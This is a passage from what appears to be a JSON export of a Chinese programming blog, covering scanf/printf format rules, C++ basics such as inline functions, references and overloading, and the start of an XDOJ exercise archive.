个字符时,可以书写成如下形式:\u003cbr/\u003escanf(“%20s”,address);\u003cbr/\u003e如果输入流的内容多于 20 个字符,则下次 scanf() 从此次停止处开始读入。 若达到最大域宽前已遇到空白符,则对该域的读立即停止;此时,scanf() 跳到下一个域。\u003cbr/\u003e(10)虽然空格、制表符和新行符都用做域分割符号,但读单字符操作中却按一般字符处理。例如,对输入流 “x y” 调用:\u003cbr/\u003escanf(“%c%c%c”,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003cbr/\u003e返回后,x 在变量 a 中,空格在变量 b 中,y 在变量 c 中。\u003cbr/\u003e注意,控制串中的其它字符,包括空格、制表符和新行符,都用于从输入流中匹配并放弃字符,被匹配的字符都放弃。例如,给定输入流 “10t20”,调用:\u003cbr/\u003escanf(“%dt%d”,\u0026amp;x,\u0026amp;y);\u003cbr/\u003e将把 10 和 20 分别放到 x 和 y 中,t 被放弃,因为 t 在控制串中。\u003cbr/\u003e(11)ANSI C 标准向 scanf() 增加了一种新特性,称为扫描集(scanset)。 扫描集定义一个字符集合,可由 scanf() 读入其中允许的字符并赋给对应字符数组。 扫描集合由一对方括号中的一串字符定义,左方括号前必须缀以百分号。 例如,以下的扫描集使 scanf() 读入字符 A、B 和 C:\u003cbr/\u003e%[ABC]\u003cbr/\u003e使用扫描集时,scanf() 连续吃进集合中的字符并放入对应的字符数组,直到发现不在集合中的字符为止(即扫描集仅读匹配的字符)。返回时,数组中放置以 null 结尾、由读入字符组成的字符串。\u003cbr/\u003e用字符 ^ 可以说明补集。把 ^ 字符放为扫描集的第一字符时,构成其它字符组成的命令的补集合,指示 scanf() 只接受未说明的其它字符。\u003cbr/\u003e对于许多实现来说,用连字符可以说明一个范围(ISO C99标准没有规定)。例如,以下扫描集使 scanf() 接受字母 A 到 Z:\u003cbr/\u003e%[A-Z]\u003cbr/\u003e重要的是要注意扫描集是区分大小写的。因此,希望扫描大、小写字符时,应该分别说明大、小写字母。\u003cbr/\u003e(12) scanf() 返回等于成功赋值的域数的值,但由于星号修饰符而读入未赋值的域不计算在内。遇到文件结束则返回EOF;若出错则返回0。\u003cbr/\u003e注意问题\u003cbr/\u003e(1)在高版本的 Visual Studio 编译器中,scanf 被认为是不安全的,被弃用,应当使用scanf_s代替 scanf。\u003cbr/\u003e(2) 对于字符串数组或字符串指针变量,由于数组名可以转换为数组和指针变量名本身就是地址,因此使用scanf()函数时,不需要在它们前面加上”\u0026amp;”操作符。\u003cbr/\u003e(3) 可以在格式化字符串中的”%”各格式化规定符之间加入一个整数,表示任何读操作中的最大位数。\u003cbr/\u003e(4) scanf函数中没有类似printf的精度控制。\u003cbr/\u003e如: scanf(“%5.2f”,\u0026amp;a); 是非法的。不能企图用此语句输入小数为2位的实数。\u003cbr/\u003e(5) scanf中要求给出变量地址,如给出变量名则会出错\u003cbr/\u003e如 scanf(“%d”,a);是非法的,应改为scanf(“%d”,\u0026amp;a);才是合法的。\u003cbr/\u003e(6) 在输入多个数值数据时,若格式控制串中没有非格式字符作输入数据之间的间隔,则可用空格,TAB或回车作间隔。\u003cbr/\u003eC编译在碰到空格,TAB,回车或非法数据(如对“%d”输入“12A”时,A即为非法数据)时即认为该数据结束。\u003cbr/\u003e(7) 在输入字符数据(%c)时,若格式控制串中无非格式字符,则认为所有输入的字符均为有效字符。\u003cbr/\u003e例如:\u003cbr/\u003escanf(“%c%c%c”,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003cbr/\u003e输入为:\u003cbr/\u003ed e f\u003cbr/\u003e则把’d’赋予a, ‘ ‘(空格)赋予b,’e’赋予c。因为%c 只要求读入一个字符,后面不需要用空格作为两个字符的间隔,因此把’ ‘作为下一个字符送给b。\u003cbr/\u003e只有当输入为:def(字符间无空格) 时,才能把’d’赋于a,’e’赋予b,’f’赋予c。 如果在格式控制中加入空格作为间隔,\u003cbr/\u003e如\u003cbr/\u003escanf(“%c %c %c”,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003cbr/\u003e则输入时各数据之间可加空格。\u003cbr/\u003e我们用一些例子来说明一些规则:\u003c/p\u003e\u003ch1 id=\"include-lt-stdio-h-gt-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/#include-lt-stdio-h-gt-1\" class=\"headerlink\" title=\"include\u0026lt;stdio.h\u0026gt;\"\u003e\u003c/a\u003einclude\u0026lt;stdio.h\u0026gt;\u003c/h1\u003e\u003cp\u003eint main(void)\u003cbr/\u003e{\u003cbr/\u003echar a,b;\u003cbr/\u003eprintf(“input character a,b\\n”);\u003cbr/\u003escanf(“%c%c”,\u0026amp;a,\u0026amp;b);/\u003cem\u003e注意两个%c之间没有任何符号\u003c/em\u003e/\u003cbr/\u003eprintf(“%c%c\\n”,a,b);\u003cbr/\u003ereturn 0;\u003cbr/\u003e}\u003cbr/\u003e由于scanf函数”%c%c”中没有空格,输入M N,结果输出只有M。而输入改为MN时则可输出MN两字符,见下面的输入运行情况: input character a,b\u003cbr/\u003e输入:\u003cbr/\u003eMN\u003cbr/\u003e屏幕显示:\u003cbr/\u003eMN\u003c/p\u003e\u003ch1 id=\"include-lt-stdio-h-gt-2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/#include-lt-stdio-h-gt-2\" class=\"headerlink\" title=\"include \u0026lt;stdio.h\u0026gt;\"\u003e\u003c/a\u003einclude \u0026lt;stdio.h\u0026gt;\u003c/h1\u003e\u003cp\u003eint main(void)\u003c/p\u003e\u003cp\u003e{\u003c/p\u003e\u003cp\u003echar a,b;\u003c/p\u003e\u003cp\u003eprintf(“input character a,b\\n”);\u003c/p\u003e\u003cp\u003escanf(“%c %c”,\u0026amp;a,\u0026amp;b);/\u003cem\u003e注意两个%c之间的空格\u003c/em\u003e/\u003c/p\u003e\u003cp\u003eprintf(“\\n%c%c\\n”,a,b);\u003c/p\u003e\u003cp\u003ereturn 0;\u003c/p\u003e\u003cp\u003e}\u003cbr/\u003e本例表示scanf格式控制串”%c %c”之间有空格时, 输入的数据之间可以有空格间隔。\u003c/p\u003e\u003ch2 id=\"printf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/#printf\" class=\"headerlink\" title=\"printf\"\u003e\u003c/a\u003eprintf\u003c/h2\u003e\u003cp\u003eprintf 的格式控制字符串 format 中的转换说明组成如下,其中 [] 中的部分是可选的:[5]\u003cbr/\u003e%[flags][width][.precision][length]specifier,即:%[标志][最小宽度][.精度][类型长度]说明符[5] 。转换说明详解见下文。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/"},{"title":"C++学习笔记:基础篇","time":"2021-10-26T09:14:26Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"函数部分\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C++%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%87%BD%E6%95%B0%E9%83%A8%E5%88%86\" class=\"headerlink\" title=\"函数部分\"\u003e\u003c/a\u003e函数部分\u003c/h2\u003e\u003ch3 id=\"内联函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C++%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%86%85%E8%81%94%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"内联函数\"\u003e\u003c/a\u003e内联函数\u003c/h3\u003e\u003cp\u003e代码直接内嵌而无需跳转进入函数,\u003cstrong\u003e执行速度更快,但存储空间占用更大\u003c/strong\u003e。适用于函数体短且调用频繁的地方。\u003c/p\u003e\u003cul\u003e\u003cli\u003e用法\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e在函数原型/定义前加上关键字\u003ccode\u003einline\u003c/code\u003e即可。例如:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003einline\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e{\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b;}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意:\u003cstrong\u003e内联函数不能递归\u003c/strong\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eC语言的寄存器变量:将值存储在处理器的寄存器中,能提高运行速度。声明前加上\u003ccode\u003eregister\u003c/code\u003e即可。不过一般很少用,因为现在编译器优化都很强了。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"引用变量:-amp-的重载\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C++%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%BC%95%E7%94%A8%E5%8F%98%E9%87%8F%EF%BC%9A-amp-%E7%9A%84%E9%87%8D%E8%BD%BD\" class=\"headerlink\" title=\"引用变量:\u0026amp;的重载\"\u003e\u003c/a\u003e引用变量:\u003ccode\u003e\u0026amp;\u003c/code\u003e的重载\u003c/h3\u003e\u003cp\u003e主要用于函数的参数,以此实现传址调用,和\u003ccode\u003econst指针\u003c/code\u003e比较像。不过和指针又有区别:声明时就得初始化。\u003c/p\u003e\u003cul\u003e\u003cli\u003e用法:和指针声明很像:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eswap\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u0026amp;a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u0026amp;b)\u003c/span\u003e\u003c/span\u003e{\u003cspan class=\"type\"\u003eint\u003c/span\u003e temp=a;a=b,b=temp;}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rats;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u0026amp;rodents = rats;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e5\u003c/span\u003e, b = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout\u0026lt;\u0026lt;\u003cspan class=\"string\"\u003e\u0026#34;a=\u0026#34;\u003c/span\u003e\u0026lt;\u0026lt;a\u0026lt;\u0026lt;\u003cspan class=\"string\"\u003e\u0026#34; b=\u0026#34;\u003c/span\u003e\u0026lt;\u0026lt;b\u0026lt;\u0026lt;endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(\u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout\u0026lt;\u0026lt;\u003cspan class=\"string\"\u003e\u0026#34;a=:\u0026lt;\u0026lt;a\u0026lt;\u0026lt;\u0026#34;\u003c/span\u003e b=\u003cspan class=\"string\"\u003e\u0026#34;\u0026lt;\u0026lt;b\u0026lt;\u0026lt;endl;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e return 0; //C++可以不加\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"默认参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C++%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E9%BB%98%E8%AE%A4%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"默认参数\"\u003e\u003c/a\u003e默认参数\u003c/h3\u003e\u003cul\u003e\u003cli\u003e用法:从右往左添加:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003echico\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003eint\u003c/span\u003e m, \u003cspan class=\"type\"\u003eint\u003c/span\u003e c=\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"函数多态\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C++%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%87%BD%E6%95%B0%E5%A4%9A%E6%80%81\" class=\"headerlink\" title=\"函数多态\"\u003e\u003c/a\u003e函数多态\u003c/h3\u003e\u003cp\u003e允许声明同名但不同参的函数。这一般用来解决对不同类型参数应用同一种操作的情况,即“泛型编程”。典型的例子如下:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x)\u003c/span\u003e\u003c/span\u003e{\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e x\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e?x:-x;}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title\"\u003eabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x)\u003c/span\u003e\u003c/span\u003e{\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e x\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e?x:-x;}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title\"\u003eabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e\u003c/span\u003e{\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e x\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e?x:-x;}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当然,也可以使用C++模板来完成。\u003c/p\u003e\u003ch2 id=\"C-泛型编程\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C++%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#C-%E6%B3%9B%E5%9E%8B%E7%BC%96%E7%A8%8B\" class=\"headerlink\" title=\"C++泛型编程\"\u003e\u003c/a\u003eC++泛型编程\u003c/h2\u003e\u003cp\u003e借助模板,可以实现与数据类型无关的编程。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/10/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C++%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/"},{"title":"XDOJ-archive","time":"2021-09-29T02:35:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e更新:这么翻着看太麻烦了,做了个小工具,这里就先不更新了。\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.jiujiuer.xyz/pages/xdoj-util/\"\u003e点击前往\u003c/a\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e听说XDOJ上的题有200多道,刷的题在这记下,以后备用。\u003c/p\u003e\u003cp\u003e过于简单的就直接放代码了。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e\u003cem\u003e不知道哪找的题,题解写这了\u003c/em\u003e\u003c/p\u003e\u003ch3 id=\"1-数列分段\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#1-%E6%95%B0%E5%88%97%E5%88%86%E6%AE%B5\" class=\"headerlink\" title=\"1.数列分段\"\u003e\u003c/a\u003e1.数列分段\u003c/h3\u003e\u003ch4 id=\"问题描述\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#%E9%97%AE%E9%A2%98%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"问题描述\"\u003e\u003c/a\u003e问题描述\u003c/h4\u003e\u003cp\u003e给定一个整数数列,数列中连续相同的最长整数序列算成一段,问数列中共有多少段?\u003c/p\u003e\u003ch4 id=\"输入格式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#%E8%BE%93%E5%85%A5%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"输入格式\"\u003e\u003c/a\u003e输入格式\u003c/h4\u003e\u003cp\u003e输入的第一行包含一个整数n,表示数列中整数的个数。\u003c/p\u003e\u003cp\u003e第二行包含n个整数a1, a2, …, an,表示给定的数列,相邻的整数之间用一个空格分隔。\u003c/p\u003e\u003ch4 id=\"输出格式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#%E8%BE%93%E5%87%BA%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"输出格式\"\u003e\u003c/a\u003e输出格式\u003c/h4\u003e\u003cp\u003e输出一个整数,表示给定的数列有多个段。\u003c/p\u003e\u003ch4 id=\"样例输入\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#%E6%A0%B7%E4%BE%8B%E8%BE%93%E5%85%A5\" class=\"headerlink\" title=\"样例输入\"\u003e\u003c/a\u003e样例输入\u003c/h4\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8 8 8 0 12 12 8 0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"样例输出\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#%E6%A0%B7%E4%BE%8B%E8%BE%93%E5%87%BA\" class=\"headerlink\" title=\"样例输出\"\u003e\u003c/a\u003e样例输出\u003c/h4\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"题解\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#%E9%A2%98%E8%A7%A3\" class=\"headerlink\" title=\"题解\"\u003e\u003c/a\u003e题解\u003c/h4\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan 